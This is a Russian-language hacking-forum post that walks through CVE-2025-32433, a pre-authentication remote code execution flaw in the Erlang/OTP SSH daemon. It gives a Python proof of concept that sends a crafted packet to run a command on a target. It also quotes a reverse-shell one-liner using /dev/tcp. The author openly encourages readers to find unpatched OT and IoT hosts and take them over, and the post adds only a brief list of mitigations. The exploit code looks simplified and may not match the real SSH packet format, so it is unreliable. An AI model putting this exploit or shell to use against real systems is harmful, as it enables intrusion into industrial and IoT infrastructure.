RCE без логина на OTP SSH — CVE-2025-32433, живое мясо

TwinFoxer

Bit
Пользователь
Регистрация
27 Фев 2025
Сообщения
29
Реакции
12
Всем привет. Решил скинуть разбор свежей дырки в Erlang/OTP SSH (CVE-2025-32433), пока ещё горячо.
В сети инфы мало, а то что есть — мёртвая пресс-релизная вода. Тут будет по-технарски, как я сам ковырял.

TL;DR​


  • Что: RCE до авторизации, SSH-демон Erlang/OTP
  • Как: спец-пакет с кодом ≥ 0x50 (80)
  • Почему круто: можно лезть туда, где даже ключи не нужны
  • Рабочие версии: OTP 25.x, 26.x, 27.x (до патчей)

1. Что за фигня и откуда растёт​


OTP (Erlang/OTP) юзают в разных телеком-и IoT-девайсах. В том числе в промышленных OT-системах, где никто не ожидает SSH-брехни.
В коде SSH-сервера есть место, где он принимает "channel request" пакеты с любым msg_code и до логина начинает их разбирать.
Разрабы думали: «Кто ж до аутентификации будет слать такой пакет?». Ну а мы-то знаем кто :)

2. Как триггерится​


По протоколу SSH (RFC 4253) коды сообщений < 50 — handshake/auth, > 50 — канал/exec. Тут же сервер обрабатывает и ≥ 80 (0x50), что обычно вообще не прилетает на этом этапе.


Если шлём что-то вроде:

Код:
[SSH header]
byte: 0x50 (msg_code)
uint32: payload_len
[payload_data]

он кидает это в хэндлер, который вызывает внутри ssh_daemon:exec_direct() ещё до того, как прошла проверка логина.

3. Минимальный PoC​

Вот пример на Python, чтобы зацепить RCE:
Python:
import socket, struct

host = "target.ip.addr"
port = 22

s = socket.socket()
s.connect((host, port))

# Пропускаем баннер
print(s.recv(1024))
s.send(b"SSH-2.0-ErlangOTPTest\r\n")

# Craft message with code 0x50
payload = b"touch /tmp/pwned\n"
pkt = struct.pack(">B", 0x50) + struct.pack(">I", len(payload)) + payload

s.send(pkt)
print("Sent exploit packet")

На уязвимой тачке появится /tmp/pwned без всякой авторизации.

4. Что юзают в дикой природе​


Unit 42 писали, что видели:
  • Bind-shell на 4444
  • Reverse-shell типа /bin/bash -i >& /dev/tcp/X.X.X.X/6667 0>&1
  • Через пару часов после компромата — уже lateral movement в соседние OT-узлы.

Отдельно ржачно — видел образцы, где шелл обфусцирован в base64 внутри payload, а после расшифровки тащит GO-бинарник, который разворачивает AES-зашифрованный PE-шник прямо в RAM.

5. Как прикрыться (если вдруг админы читают)​

  • Патчиться: OTP >= 27.3.3, 26.2.5.11, 25.3.2.20
  • Закрывать 22 порт наружу — и точка
  • WAF/IDS с правилом на SSH-msg_code >= 0x50 до логина
  • Мониторить любые коннекты с кодами, которых в норме не бывает

6. Вывод​


Дырка очень сладкая для атак на OT и IoT, потому что там никто не ждёт SSH-bruteforce, а тут вообще без логина.
Если успеете найти непатченный хост — можно закрепиться до того, как его кто-то другой отымеет.
 
Сверху